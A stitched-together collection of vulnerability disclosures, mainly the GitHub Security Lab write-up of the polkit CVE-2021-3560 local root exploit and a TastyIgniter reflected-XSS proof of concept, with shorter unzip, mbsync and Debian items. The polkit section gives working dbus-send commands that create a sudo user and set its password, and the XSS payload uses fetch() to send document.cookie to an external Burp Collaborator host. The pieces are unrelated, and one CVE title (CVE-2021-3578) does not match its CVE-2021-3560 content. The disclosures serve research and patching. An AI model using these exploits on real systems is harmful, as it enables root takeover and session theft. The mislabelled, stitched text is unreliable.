A flaw was found in mbsync before v1.3.6 and v1.4.2, where an unchecked pointer cast allows a malicious or compromised server to write an arbitrary integer value past the end of a heap-allocated structure by issuing an unexpected APPENDUID response. This could be plausibly exploited for remote code execution on the client.

polkit is a system service installed by default on many Linux distributions. It’s used by systemd, so any Linux distribution that uses systemd also uses polkit. As a member of GitHub Security Lab, my job is to help improve the security of open source software by finding and reporting vulnerabilities. A few weeks ago, I found a privilege escalation vulnerability in polkit. I coordinated the disclosure of the vulnerability with the polkit maintainers and with Red Hat’s security team. It was publicly disclosed, the fix was released on June 3, 2021, and it was assigned CVE-2021-3560.

The vulnerability enables an unprivileged local user to get a root shell on the system. It’s easy to exploit with a few standard command line tools, as you can see in this short video. In this blog post, I’ll explain how the exploit works and show you where the bug was in the source code.

**Table of contents**

*   History of CVE-2021-3560 and vulnerable distributions
*   About polkit
*   Exploitation steps
*   polkit architecture
*   The vulnerability
*   org.freedesktop.policykit.imply annotations
*   Conclusion

**History of CVE-2021-3560 and vulnerable distributions**

The bug I found was quite old. It was introduced seven years ago in commit bfa5036 and first shipped with polkit version 0.113. However, many of the most popular Linux distributions didn’t ship the vulnerable version until more recently.

The bug has a slightly different history on Debian and its derivatives (such as Ubuntu), because Debian uses a fork of polkit with a different version numbering scheme. In the Debian fork, the bug was introduced in commit f81d021 and first shipped with version 0.105-26. The most recent stable release of Debian, Debian 10 (“buster”), uses version 0.105-25, which means that it isn’t vulnerable. However, some Debian derivatives, such as Ubuntu, are based on Debian unstable, which is vulnerable.

Here’s a table with a selection of popular distributions and whether they’re vulnerable (note that this isn’t a comprehensive list):

Distribution

Vulnerable?

RHEL 7

No

RHEL 8

Yes

Fedora 20 (or earlier)

No

Fedora 21 (or later)

Yes

Debian 10 (“buster”)

No

Debian testing (“bullseye”)

Yes

Ubuntu 18.04

No

Ubuntu 20.04

Yes

**About polkit**

polkit is the system service that’s running under the hood when you see a dialog box like the one below:

It essentially plays the role of a judge. If you want to do something that requires higher privileges—for example, creating a new user account—then it’s polkit’s job to decide whether or not you’re allowed to do it. For some requests, polkit will make an instant decision to allow or deny, and for others it will pop up a dialog box so that an administrator can grant authorization by entering their password.

The dialog box might give the impression that polkit is a graphical system, but it’s actually a background process. The dialog box is known as an _authentication agent_ and it’s really just a mechanism for sending your password to polkit. To illustrate that polkit isn’t just for graphical sessions, try running this command in a terminal:

pkexec reboot

pkexec is a similar command to sudo, which enables you to run a command as root. If you run pkexec in a graphical session, it will pop up a dialog box, but if you run it in a text-mode session such as SSH then it starts its own text-mode authentication agent:

$ pkexec reboot
==== AUTHENTICATING FOR org.freedesktop.policykit.exec ===
Authentication is needed to run \`/usr/sbin/reboot' as the super user
Authenticating as: Kevin Backhouse,,, (kev)
Password:

Another command that you can use to trigger polkit from the command line is dbus-send. It’s a general purpose tool for sending D-Bus messages that’s mainly used for testing, but it’s usually installed by default on systems that use D-Bus. It can be used to simulate the D-Bus messages that the graphical interface might send. For example, this is the command to create a new user:

dbus-send --system --dest=org.freedesktop.Accounts --type=method\_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1

If you run that command in a graphical session, an authentication dialog box will pop up, but if you run it in a text-mode session such as SSH, then it fails immediately. That’s because, unlike pkexec, dbus-send does not start its own authentication agent.

**Exploitation steps**

The vulnerability is surprisingly easy to exploit. All it takes is a few commands in the terminal using only standard tools like bash, kill, and dbus-send.

The proof of concept (PoC) exploit I describe in this section depends on two packages being installed: accountsservice and gnome-control-center. On a graphical system such as Ubuntu Desktop, both of those packages are usually installed by default. But if you’re using something like a non-graphical RHEL server, then you might need to install them, like this:

sudo yum install accountsservice gnome-control-center

Of course, the vulnerability doesn’t have anything specifically to do with either accountsservice or gnome-control-center. They’re just polkit clients that happen to be convenient vectors for exploitation. The reason why the PoC depends on gnome-control-center and not just accountsservice is subtle—I’ll explain that later.

To avoid repeatedly triggering the authentication dialog box (which can be annoying), I recommend running the commands from an SSH session:

ssh localhost

The vulnerability is triggered by starting a dbus-send command but killing it while polkit is still in the middle of processing the request. I like to think that it’s theoretically possible to trigger by smashing Ctrl+C at just the right moment, but I’ve never succeeded, so I do it with a small amount of bash scripting instead. First, you need to measure how long it takes to run the dbus-send command normally:

time dbus-send --system --dest=org.freedesktop.Accounts --type=method\_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1

The output will look something like this:

Error org.freedesktop.Accounts.Error.PermissionDenied: Authentication is required

real 0m0.016s
user 0m0.005s
sys 0m0.000s

That took 16 milliseconds for me, so that means that I need to kill the dbus-send command after approximately 8 milliseconds:

dbus-send --system --dest=org.freedesktop.Accounts --type=method\_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1 & sleep 0.008s ; kill $!

You might need to run that a few times, and you might need to experiment with the number of milliseconds in the delay. When the exploit succeeds, you’ll see that a new user named boris has been created:

$ id boris
uid=1002(boris) gid=1002(boris) groups=1002(boris),27(sudo)

Notice that boris is a member of the sudo group, so you’re already well on your way to full privilege escalation. Next, you need to set a password for the new account. The D-Bus interface expects a hashed password, which you can create using openssl:

$ openssl passwd -5 iaminvincible!
$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB

Now you just have to do the same trick again, except this time call the SetPassword D-Bus method:

dbus-send --system --dest=org.freedesktop.Accounts --type=method\_call --print-reply /org/freedesktop/Accounts/User1002 org.freedesktop.Accounts.User.SetPassword string:'$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB' string:GoldenEye & sleep 0.008s ; kill $!

Again, you might need to experiment with the length of the delay and run it several times until it succeeds. Also, note that you need to paste in the correct user identifier (UID), which is “1002” in this example, plus the password hash from the openssl command.

Now you can login as boris and become root:

su - boris # password: iaminvincible!
sudo su # password: iaminvincible!

**polkit architecture**

To help explain the vulnerability, here’s a diagram of the five main processes involved during the dbus-send command:

The two processes above the dashed line—dbus-send and the authentication agent—are unprivileged user processes. Those below the line are privileged system processes. In the center is dbus-daemon, which handles all of the communication: the other four processes communicate with each other by sending D-Bus messages.

dbus-daemon plays a very important role in the security of polkit, because it enables the four processes to communicate securely and check each other’s credentials. For example, when the authentication agent sends an authentication cookie to polkit, it does so by sending it to the org.freedesktop.PolicyKit1 D-Bus address. Since that address is only allowed to be registered by a root process, there is no risk of an unprivileged process intercepting messages. dbus-daemon also assigns every connection a “unique bus name:” typically something like “:1.96”. It’s a bit like a process identifier (PID), except without being vulnerable to PID recycling attacks. Unique bus names are currently chosen from a 64-bit range, so there’s no risk of a vulnerability caused by a name being reused.

This is the sequence of events:

1.  dbus-send asks accounts-daemon to create a new user.
2.  accounts-daemon receives the D-Bus message from dbus-send. The message includes the unique bus name of the sender. Let’s assume it’s “:1.96”. This name is attached to the message by dbus-daemon and cannot be forged.
3.  accounts-daemon asks polkit if connection :1.96 is authorized to create a new user.
4.  polkit asks dbus-daemon for the UID of connection :1.96.
5.  If the UID of connection :1.96 is “0,” then polkit immediately authorizes the request. Otherwise, it sends the authentication agent a list of administrator users who are allowed to authorize the request.
6.  The authentication agent opens a dialog box to get the password from the user.
7.  The authentication agent sends the password to polkit.
8.  polkit sends a “yes” reply back to accounts-daemon.
9.  accounts-daemon creates the new user account.

**The vulnerability**

Why does killing the dbus-send command cause an authentication bypass? The vulnerability is in step four of the sequence of events listed above. What happens if polkit asks dbus-daemon for the UID of connection :1.96, but connection :1.96 no longer exists? dbus-daemon handles that situation correctly and returns an error. But it turns out that polkit does not handle that error correctly. In fact, polkit mishandles the error in a particularly unfortunate way: rather than rejecting the request, it treats the request as though it came from a process with UID 0. In other words, it immediately authorizes the request because it thinks the request has come from a root process.

Why is the timing of the vulnerability non-deterministic? It turns out that polkit asks dbus-daemon for the UID of the requesting process multiple times, on different codepaths. Most of those codepaths handle the error correctly, but one of them doesn’t. If you kill the dbus-send command early, it’s handled by one of the correct codepaths and the request is rejected. To trigger the vulnerable codepath, you have to disconnect at just the right moment. And because there are multiple processes involved, the timing of that “right moment” varies from one run to the next. That’s why it usually takes a few tries for the exploit to succeed. I’d guess it’s also the reason why the bug wasn’t previously discovered. If you could trigger the vulnerability by killing the dbus-send command immediately, then I expect it would have been discovered a long time ago, because that’s a much more obvious thing to test for.

The function which asks dbus-daemon for the UID of the requesting connection is named polkit_system_bus_name_get_creds_sync:

static gboolean
polkit\_system\_bus\_name\_get\_creds\_sync (
PolkitSystemBusName           \*system\_bus\_name,
    guint32                       \*out\_uid,
    guint32                       \*out\_pid,
    GCancellable                  \*cancellable,
    GError                       \*\*error)

The behavior of polkit_system_bus_name_get_creds_sync is strange, because when an error occurs, the function sets the error parameter but still returns TRUE. It wasn’t clear to me, when I wrote my bug report, whether that was a bug or a deliberate design choice. (It turns out that it was a bug, because the polkit developers have fixed the vulnerability by returning FALSE on error.) My uncertainty arose from the fact that _almost all_ the callers of polkit_system_bus_name_get_creds_sync don’t just check the Boolean result, but also check that the error value is still NULL before proceeding. The cause of the vulnerability was that the error value wasn’t checked in the following stack trace:

0 in polkit\_system\_bus\_name\_get\_creds\_sync of polkitsystembusname.c:388
1 in polkit\_system\_bus\_name\_get\_user\_sync of polkitsystembusname.c:511
2 in polkit\_backend\_session\_monitor\_get\_user\_for\_subject of polkitbackendsessionmonitor-systemd.c:303
3 in check\_authorization\_sync of polkitbackendinteractiveauthority.c:1121
4 in check\_authorization\_sync of polkitbackendinteractiveauthority.c:1227
5 in polkit\_backend\_interactive\_authority\_check\_authorization of polkitbackendinteractiveauthority.c:981
6 in polkit\_backend\_authority\_check\_authorization of polkitbackendauthority.c:227
7 in server\_handle\_check\_authorization of polkitbackendauthority.c:790
7 in server\_handle\_method\_call of polkitbackendauthority.c:1272

The bug is in this snippet of code in check_authorization_sync:

/\* every subject has a user; this is supplied by the client, so we rely
 \* on the caller to validate its acceptability. \*/
user\_of\_subject = polkit\_backend\_session\_monitor\_get\_user\_for\_subject (priv->session\_monitor,
                                                                       subject, NULL,
                                                                       error);
if (user\_of\_subject == NULL)
    goto out;

/\* special case: uid 0, root, is \_always\_ authorized for anything \*/
if (POLKIT\_IS\_UNIX\_USER (user\_of\_subject) && polkit\_unix\_user\_get\_uid (POLKIT\_UNIX\_USER (user\_of\_subject)) == 0)
  {
    result = polkit\_authorization\_result\_new (TRUE, FALSE, NULL);
    goto out;
  }

Notice that the value of error is not checked.

**org.freedesktop.policykit.imply annotations**

I mentioned earlier that my PoC depends on gnome-control-center being installed, in addition to accountsservice. Why is that? The PoC doesn’t use gnome-control-center in any visible way, and I didn’t even realize that I was depending on it when I wrote the PoC! In fact, I only found out because the Red Hat security team couldn’t reproduce my PoC on RHEL. When I tried it for myself on a RHEL 8.4 VM, I also found that the PoC didn’t work. That was puzzling, because it was working beautifully on Fedora 32 and CentOS Stream. The crucial difference, it turned out, was that my RHEL VM was a non-graphical server with no GNOME installed. So why does that matter? The answer is policykit.imply annotations.

Some polkit actions are essentially equivalent to each other, so if one has already been authorized then it makes sense to silently authorize the other. The GNOME settings dialog is a good example:

After you’ve clicked the “Unlock” button and entered your password, you can do things like adding a new user account without having to authenticate a second time. That’s handled by a policykit.imply annotation, which is defined in this config file:

/usr/share/polkit-1/actions/org.gnome.controlcenter.user-accounts.policy

The config file contains the following implication:

In other words, if you’re authorized to perform controlcenter admin actions, then you’re also authorized to perform accountsservice admin actions.

When I attached GDB to polkit on my RHEL VM, I found that I wasn’t seeing the vulnerable stack trace that I listed earlier. Notice that step four of the stack trace is a recursive call from check_authorization_sync to itself. That happens on line 1227, which is where polkit checks the policykit.imply annotations:

PolkitAuthorizationResult \*implied\_result = NULL;
PolkitImplicitAuthorization implied\_implicit\_authorization;
GError \*implied\_error = NULL;
const gchar \*imply\_action\_id;

imply\_action\_id = polkit\_action\_description\_get\_action\_id (imply\_ad);

/\* g\_debug ("%s is implied by %s, checking", action\_id, imply\_action\_id); \*/
implied\_result = check\_authorization\_sync (authority, caller, subject,
                                           imply\_action\_id,
                                           details, flags,
                                           &implied\_implicit\_authorization, TRUE,
                                           &implied\_error);
if (implied\_result != NULL)
  {
    if (polkit\_authorization\_result\_get\_is\_authorized (implied\_result))
      {
        g\_debug (" is authorized (implied by %s)", imply\_action\_id);
        result = implied\_result;
        /\* cleanup \*/
        g\_strfreev (tokens);
        goto out;
      }
    g\_object\_unref (implied\_result);
  }
if (implied\_error != NULL)
  g\_error\_free (implied\_error);

The authentication bypass depends on the error value getting ignored. It was ignored on line 1121, but it’s still stored in the error parameter, so it also needs to be ignored by the caller. The block of code above has a temporary variable named implied_error, which is ignored when implied_result isn’t null. That’s the crucial step that makes the bypass possible.

To sum up, the authentication bypass only works on polkit actions that are implied by another polkit action. That’s why my PoC only works if gnome-control-center is installed: it adds the policykit.imply annotation that enables me to target accountsservice. That does not mean that RHEL is safe from this vulnerability, though. Another attack vector for the vulnerability is packagekit, which is installed by default on RHEL and has a suitable policykit.imply annotation for the package-install action. packagekit is used to install packages, so it can be exploited to install gnome-control-center, after which the rest of the exploit works as before.

**Conclusion**

CVE-2021-3560 enables an unprivileged local attacker to gain root privileges. It’s very simple and quick to exploit, so it’s important that you update your Linux installations as soon as possible. Any system that has polkit version 0.113 (or later) installed is vulnerable. That includes popular distributions such as RHEL 8 and Ubuntu 20.04.

And if you like nerding out about security vulnerabilities (and how to fix them) check out some of the other work that the Security Lab team is doing or follow us on Twitter.

**Explore more from GitHub**

**Security**

Secure platform, secure data. Everything you need to make security your #1.

Learn more

**The ReadME Project**

Stories and voices from the developer community.

Learn more

**GitHub Actions**

Native CI/CD alongside code hosted in GitHub.

Learn more

**Work at GitHub!**

Check out our current job openings.

Learn more

CVE-2021-3578: Privilege escalation with polkit: How to get root on Linux with a seven-year-old bug | The GitHub Blog

It was discovered, that debian-edu-config, a set of configuration files used for the Debian Edu blend, before 2.12.16 configured insecure permissions for the user web shares (~/public_html), which could result in privilege escalation.

**Commit 4d39a588** authored Jan 15, 2022 by ![Mike Gabriel's avatar](https://seccdn.libravatar.org/avatar/afdb27a58e8139f2f6d02ad5c7d085fa?s=48&d=identicon&gravatarproxy=n "Mike Gabriel")

Browse files

**etc/apache2/mods-available/debian-edu-userdir.conf: Disable built-in PHP engine.**

*   Changes 1

...

...

@@ -3,6 +3,9 @@

UserDir disabled root

<Directory /skole/\*/home\*/\*/public\_html\>

php\_admin\_flag engine off

AllowOverride FileInfo AuthConfig Limit

Options MultiViews Indexes SymLinksIfOwnerMatch IncludesNoExec

<Limit GET POST OPTIONS\>

...

...

*   mentioned in commit 1c06c8a0
    
    mentioned in commit 1c06c8a008ed2853e703a17ad02d31fdb7c0e422
    
*   mentioned in commit f400eb04
    
    mentioned in commit f400eb04488662059ba961d07cc94489c96601eb
    
*   mentioned in commit ac1d297b
    
    mentioned in commit ac1d297bf93bc57fc9eb8fc32ac89394d316c6a7
    
*   ![](https://salsa.debian.org/uploads/-/system/user/avatar/1613/avatar.png)
    
    MITRE publishing request: https://github.com/CVEProject/cvelist/pull/4506

CVE-2021-20001: etc/apache2/mods-available/debian-edu-userdir.conf: Disable built-in PHP engine. (4d39a588) · Commits · Debian Edu / debian-edu-config

A flaw was found in unzip 6.0. The vulnerability occurs during the conversion of an utf-8 string to a local string that leads to a segmentation fault. This flaw allows an attacker to input a specially crafted zip file, leading to a crash or code execution.

Comment 1 Sandipan Roy 2022-02-07 08:00:26 UTC

Created unzip tracking bugs for this issue:

Affects: fedora-all \[bug 2051397\]

Comment 6 Salvatore Bonaccorso 2022-02-12 10:10:22 UTC

Hi,

The referenced bug is not accessible, can you share details on this CVE?

Regards,
Salvatore

Comment 7 Sandipan Roy 2022-02-14 09:54:43 UTC

Hey Nils,

Can you add your flaw and POC files to this bug as public?

Thanks.

Comment 8 Nils Bars 2022-02-14 09:59:12 UTC

Created attachment 1860944 \[details\]
Reproduction scripts and bug triggering input.

SIGSEGV during the conversion of an utf-8 string to a local string

# Description
During extraction of the attached zip archive via
\`\`\`
unzip $PWD/testcase
\`\`\`
a nullpointer dereference is triggered and causes a segmentation fault (SIGSEGV).
The bug appears to be located in the code responsible for handling the conversion
of an utf-8 string to a local string.
A possible fix would be to check in the function \`utf8\_to\_local\_string\` whether the
call to \`utf8\_to\_wide\_string\` returns NULL and to handle the situation accordingly.

This bug allows an attacker to perform a denial of service and possibly opens up
other attack vectors.

To reproduce the crash, we provide scripts alongside the crashing input:
- ./reproduce-fedora.sh: Reproduce crash via a Fedora 35 docker container
- ./reproduce-ubuntu.sh: Reproduce crash via a Ubuntu 20.04 docker container

If you need further details, we are happy to assist where possible.

# yum info unzip
Last metadata expiration check: 0:04:07 ago on Mon Jan 31 12:39:57 2022.
Installed Packages
Name         : unzip
Version      : 6.0
Release      : 53.fc35
Architecture : x86\_64
Size         : 385 k
Source       : unzip-6.0-53.fc35.src.rpm
Repository   : @System
From repo    : fedora
Summary      : A utility for unpacking zip files
URL          : http://www.info-zip.org/UnZip.html
License      : BSD
Description  : The unzip utility is used to list, test, or extract files from a zip
             : archive.  Zip archives are commonly found on MS-DOS systems.  The zip
             : utility, included in the zip package, creates zip archives.  Zip and
             : unzip are both compatible with archives created by PKWARE(R)'s PKZIP
             : for MS-DOS, but the programs' options and default behaviors do differ
             : in some respects.
             : 
             : Install the unzip package if you need to list, test or extract files from
             : a zip archive.

# valgrind fedora
\[+\] Running unzip /testcase
==1== Memcheck, a memory error detector
==1== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
==1== Using Valgrind-3.18.1 and LibVEX; rerun with -h for copyright info
==1== Command: unzip /testcase
==1== 
Archive:  /testcase
warning \[/testcase\]:  16 extra bytes at beginning or within zipfile
  (attempting to process anyway)
error \[/testcase\]:  reported length of central directory is
  -16 bytes too long (Atari STZip zipfile?  J.H.Holm ZIPSPLIT 1.1
  zipfile?).  Compensating...
==1== Invalid read of size 8
==1==    at 0x10CB55: UnknownInlinedFun (process.c:2503)
==1==    by 0x10CB55: UnknownInlinedFun (process.c:2600)
==1==    by 0x10CB55: do\_string.part.0.cold (fileio.c:2361)
==1==    by 0x118650: UnknownInlinedFun (fileio.c:2041)
==1==    by 0x118650: extract\_or\_test\_entrylist (extract.c:1377)
==1==    by 0x11A1F1: extract\_or\_test\_files (extract.c:742)
==1==    by 0x1253D6: do\_seekable.lto\_priv.0 (process.c:994)
==1==    by 0x10E51E: UnknownInlinedFun (process.c:401)
==1==    by 0x10E51E: UnknownInlinedFun (unzip.c:1279)
==1==    by 0x10E51E: main (unzip.c:742)
==1==  Address 0x0 is not stack'd, malloc'd or (recently) free'd
==1== 
error:  zipfile probably corrupt (segmentation violation)
==1== 
==1== HEAP SUMMARY:
==1==     in use at exit: 80,290 bytes in 8 blocks
==1==   total heap usage: 22 allocs, 14 frees, 86,257 bytes allocated
==1== 
==1== LEAK SUMMARY:
==1==    definitely lost: 0 bytes in 0 blocks
==1==    indirectly lost: 0 bytes in 0 blocks
==1==      possibly lost: 0 bytes in 0 blocks
==1==    still reachable: 80,290 bytes in 8 blocks
==1==         suppressed: 0 bytes in 0 blocks
==1== Rerun with --leak-check=full to see details of leaked memory
==1== 
==1== For lists of detected and suppressed errors, rerun with: -s
==1== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)
\[+\] Dropping into shell. Malformed input is located at /testcase


# apt-show unzip
Package: unzip
Version: 6.0-25ubuntu1
Priority: optional
Section: utils
Origin: Ubuntu
Maintainer: Ubuntu Developers <ubuntu-devel-discuss@lists.ubuntu.com\>
Original-Maintainer: Santiago Vila <sanvila@debian.org\>
Bugs: https://bugs.launchpad.net/ubuntu/+filebug
Installed-Size: 593 kB
Depends: libbz2-1.0, libc6 (>= 2.14)
Suggests: zip
Homepage: http://www.info-zip.org/UnZip.html
Task: ubuntu-desktop-minimal, ubuntu-desktop, kubuntu-desktop, xubuntu-core, xubuntu-desktop, lubuntu-desktop, ubuntustudio-desktop-core, ubuntustudio-desktop, ubuntukylin-desktop, ubuntu-mate-core, ubuntu-mate-desktop, ubuntu-budgie-desktop
Download-Size: 169 kB
APT-Manual-Installed: yes
APT-Sources: http://archive.ubuntu.com/ubuntu focal/main amd64 Packages
Description: De-archiver for .zip files

# valgrind ubuntu
==1== Memcheck, a memory error detector
==1== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
==1== Using Valgrind-3.15.0 and LibVEX; rerun with -h for copyright info
==1== Command: unzip /testcase
==1== 
Archive:  /testcase
warning \[/testcase\]:  16 extra bytes at beginning or within zipfile
  (attempting to process anyway)
error \[/testcase\]:  reported length of central directory is
  -16 bytes too long (Atari STZip zipfile?  J.H.Holm ZIPSPLIT 1.1
  zipfile?).  Compensating...
==1== Invalid read of size 8
==1==    at 0x11E5CD: wide\_to\_local\_string (process.c:2511)
==1==    by 0x11E800: utf8\_to\_local\_string (process.c:2608)
==1==    by 0x117D50: do\_string (fileio.c:2362)
==1==    by 0x111EE8: extract\_or\_test\_entrylist (extract.c:1376)
==1==    by 0x114E16: extract\_or\_test\_files (extract.c:741)
==1==    by 0x11C830: do\_seekable (process.c:994)
==1==    by 0x11D796: process\_zipfiles (process.c:401)
==1==    by 0x10EB36: unzip (unzip.c:1278)
==1==    by 0x48890B2: (below main) (libc-start.c:308)
==1==  Address 0x0 is not stack'd, malloc'd or (recently) free'd
==1== 
error:  zipfile probably corrupt (segmentation violation)
==1== 
==1== HEAP SUMMARY:
==1==     in use at exit: 80,290 bytes in 8 blocks
==1==   total heap usage: 22 allocs, 14 frees, 86,257 bytes allocated
==1== 
==1== LEAK SUMMARY:
==1==    definitely lost: 0 bytes in 0 blocks
==1==    indirectly lost: 0 bytes in 0 blocks
==1==      possibly lost: 0 bytes in 0 blocks
==1==    still reachable: 80,290 bytes in 8 blocks
==1==         suppressed: 0 bytes in 0 blocks
==1== Rerun with --leak-check=full to see details of leaked memory
==1== 
==1== For lists of detected and suppressed errors, rerun with: -s
==1== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)
\[+\] Dropping into shell. Malformed input is located at /testcase

CVE-2022-0530: SIGSEGV during the conversion of an utf-8 string to a local string

A flaw was found in unzip 6.0. The vulnerability occurs during the conversion of wide string to local string that leads to a heap of out-of-bound writes. This flaw allows an attacker to input a specially crafted zip file, leading to a crash or code execution.

CVE-2022-0529: Heap out-of-bound writes and reads during conversion of wide string to local string

A Cross-Site Scripting (XSS) vulnerability exists within the 3.2.2 version of TastyIgniter. The "items%5B0%5D%5Bpath%5D" parameter of a request made to /admin/allergens/edit/1 is vulnerable.

**CVE-2022-23378 : Reflected XSS in TastyIgniter v3.2.2 Restaurtant CMS**

Authenticated reflected XSS exists in the TastyIgniter Admin dashboard in version v3.2.2.

Mitre URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-23378

**Proof of Concept (POC):****Admin Dashboard Allergens:**

**Affected URL:** `/admin/allergens/edit/1?items%5B0%5D%5Bpath%5D=%2fdoesnotexist%3cscript%3efetch('https%3a%2f%2fvgfx3ortri1x8mjfw16ngmpq2h8awz.burpcollaborator.net'%2c%7bmethod%3a%20'POST'%2cmode%3a%20'no-cors'%2cbody%3adocument.cookie%7d)%3b%3c%2fscript%3e%20`

**Source code file affected:** `./vendor/league/flysystem/src/FileNotFoundException.php`

When updating an allergen within the administrator dashboard, an option to attach an image to the allergen is available. When attached, a POST request with parameters pertaining to data about the image is submitted. The parameter `items%5B0%5D%5Bpath%5D` is vulnerable to JavaScript injection, resulting in a potential vector for Cross-Site Scripting (XSS). When including the XSS payload, the server responds with an error message containing and executing the XSS payload.

Original POST request with XSS payload:

POST /admin/allergens/edit/1 HTTP/1.1
Host: <REDACTED>
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
Accept: \*/\*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-IGNITER-REQUEST-HANDLER: formThumb::onAddAttachment
X-CSRF-TOKEN: Y----8<----C8n
X-Requested-With: XMLHttpRequest
Origin: http://<REDACTED>
Connection: close
Cookie: tastyigniter\_session=ey----8<----n0%3D; admin\_auth=ey----8<----0%3D; ti\_activeFormSaveAction=%22close%22
Cache-Control: no-transform

items%5B0%5D%5Bname%5D=image.jpeg&items%5B0%5D%5Bpath%5D=%2fdoesnotexist%3cscript%3efetch('https%3a%2f%2fvgfx3ortri1x8mjfw16ngmpq2h8awz.burpcollaborator.net'%2c%7bmethod%3a%20'POST'%2cmode%3a%20'no-cors'%2cbody%3adocument.cookie%7d)%3b%3c%2fscript%3e%20&items%5B0%5D%5Bsize%5D=192&items%5B0%5D%5BlastModified%5D=1642193919&items%5B0%5D%5Btype%5D=file&items%5B0%5D%5BpublicUrl%5D=http%3A%2F%2F<REDACTED>%2Fassets%2Fmedia%2Fuploads%2Fimage.jpeg

![01_Original_POST](https://raw.githubusercontent.com/TheGetch/CVE-2022-23378/main/01_Original_POST.png)

Server Response:

HTTP/1.1 500 Internal Server Error
Date: Fri, 14 Jan 2022 21:21:27 GMT
Server: Apache/2.4.38 (Debian)
Cache-Control: no-cache, private
Set-Cookie: tastyigniter\_session=e----8<\----In0%3D; expires\=Fri, 14-Jan-2022 23:21:27 GMT; Max-Age\=7200; path\=/; httponly; samesite\=lax
Content-Length: 183
Connection: close
Content-Type: text/html; charset=UTF-8

File not found at path: uploads/doesnotexist<script\>fetch('https:/vgfx3ortri1x8mjfw16ngmpq2h8awz.burpcollaborator.net',{method: 'POST',mode: 'no-cors',body:document.cookie});</script\>

Furthermore, the request can be changed to a GET request with the affected parameter included within the URL, further increasing the likelihood of success for an adversary to exploit on a phished victim.

Modified GET request:

GET /admin/allergens/edit/1?items%5B0%5D%5Bpath%5D=%2fdoesnotexist%3cscript%3efetch('https%3a%2f%2fvgfx3ortri1x8mjfw16ngmpq2h8awz.burpcollaborator.net'%2c%7bmethod%3a%20'POST'%2cmode%3a%20'no-cors'%2cbody%3adocument.cookie%7d)%3b%3c%2fscript%3e%20 HTTP/1.1
Host: <REDACTED>
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
Accept: \*/\*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-IGNITER-REQUEST-HANDLER: formThumb::onAddAttachment
X-CSRF-TOKEN: Y----8<----C8n
X-Requested-With: XMLHttpRequest
Origin: http://<REDACTED>
Connection: close
Cookie: tastyigniter\_session=ey----8<----n0%3D; admin\_auth=ey----8<----0%3D; ti\_activeFormSaveAction=%22close%22
Cache-Control: no-transform

![02_Modified_GET](https://raw.githubusercontent.com/TheGetch/CVE-2022-23378/main/02_Modified_GET.png)

Response remains the same:

HTTP/1.1 500 Internal Server Error
Date: Fri, 14 Jan 2022 21:21:27 GMT
Server: Apache/2.4.38 (Debian)
Cache-Control: no-cache, private
Set-Cookie: tastyigniter\_session=eyJpdiI6Ik16bUtDZUV6eEw3RzByeG1LTWNBdUE9PSIsInZhbHVlIjoiQUgrTkJ1b2tmMzlFenVDVFlZZ1FHa0d5eVVITUFvT0t0YS9vcklNaHRKMnJYQjYwUyt5S3EySVpLWkpCSzR0YkhTS283VHV4d21KRjhCeHBZQ2NXbGlVRFVBcm9jR1dZbVlsdGZEdzFGZzQwQ2VjVjN1VkZ6ZWh2NmRGZis5dFEiLCJtYWMiOiI3YWQ4ZTM0NzBkZWIyZTNmNmE2OWM3NmJkMWJkYzgwNWYzYzRkNjQ2NjY5OGU2NzhkNjY5YTRlMWNmOTFiMjY0IiwidGFnIjoiIn0%3D; expires=Fri, 14-Jan-2022 23:21:27 GMT; Max-Age=7200; path=/; httponly; samesite=lax
Content-Length: 183
Connection: close
Content-Type: text/html; charset=UTF-8

File not found at path: uploads/doesnotexist<script\>fetch('https:/vgfx3ortri1x8mjfw16ngmpq2h8awz.burpcollaborator.net',{method: 'POST',mode: 'no-cors',body:document.cookie});</script\>

![03_Server_Response](https://raw.githubusercontent.com/TheGetch/CVE-2022-23378/main/03_Server_Response.png)

**Collaborator Interaction:**

![04_Collaborator_Hit](https://raw.githubusercontent.com/TheGetch/CVE-2022-23378/main/04_Collaborator_Hit.png)

![05_Collaborator_Interaction](https://raw.githubusercontent.com/TheGetch/CVE-2022-23378/main/05_Collaborator_Interaction.png)

**Discovery**

January 2022

*   Eric Getchell - TheGetch

CVE-2022-23378: GitHub - TheGetch/CVE-2022-23378

perM 0.4.0 has a Buffer Overflow related to strncpy. (Debian initially fixed this in 0.4.0-7.)

*   _To_: debian-med@lists.debian.org
*   _Subject_: Re: Autopkgtest for perm
*   _From_: Nilesh Patra <nilesh@tchncs.de\>
*   _Date_: Mon, 2 Aug 2021 18:44:55 +0530
*   _Message-id_: <\[🔎\] 89b79cf7-8163-5986-8746-4ba065cafdca@tchncs.de\>
*   _In-reply-to_: <\[🔎\] 20210802130013.GX25911@an3as.eu\>
*   _References_: <\[🔎\] CAJFurRRrERrOccMGHRm2ghj=6fmu5AD3Nm8HXRfeYRpO4bhG5g@mail.gmail.com\> <\[🔎\] 20210802130013.GX25911@an3as.eu\>

On 8/2/21 6:30 PM, Andreas Tille wrote:
> Hi Shruti,
> 
> On Mon, Aug 02, 2021 at 04:50:36PM +0530, Shruti Sridhar wrote:
>> I have written autopkgtests for perm\[1\]
>>
>> The package initially failed blhc in the pipeline but when I fixed the
>> error \[2\]

Congratulations, you found a security issue as it seems.
I'm happy that enabling blhc is doing a sensible job

